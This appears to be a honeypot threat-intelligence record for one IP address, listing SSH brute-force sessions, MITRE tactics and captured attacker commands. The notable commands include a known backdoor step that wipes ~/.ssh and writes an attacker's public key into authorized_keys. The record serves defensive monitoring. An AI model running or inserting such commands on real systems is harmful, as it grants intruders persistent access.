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144.31.74.139

Threat Confidence
15%
Location
🇩🇪 DE / Frankfurt am Main
ASN
AS213877 · U1 Digital Services Ltd
Cloud Provider
Total Events
38
Average by volume
Agent Count
1
First / Last Seen
2026-06-19 22:52 — 2026-06-19 23:00
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
Credential Access
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
malware_dropper ×1 credential_probe ×4 opportunistic_bruter ×1
Sessions
6 (2 with login)
Avg Depth Score
0.38
Commands Executed
3
Files Downloaded
1
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
SSH-2.0-libssh_0.9.6
Evidence Timeline
Credential Probe 520a2de7a115 newark_01 · 2026-06-19 23:00
1 20%
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Opportunistic Bruter 4dfefd02a661 newark_01 · 2026-06-19 22:58
1 50%
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Malware Dropper 37baa3f82f36 newark_01 · 2026-06-19 22:58
3 1 1 100%
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Credential Probe 2ce0493a0102 newark_01 · 2026-06-19 22:58
1 20%
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Credential Probe ea8cf03014be newark_01 · 2026-06-19 22:57
1 20%
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Credential Probe 2dac18fe7636 newark_01 · 2026-06-19 22:52
1 20%
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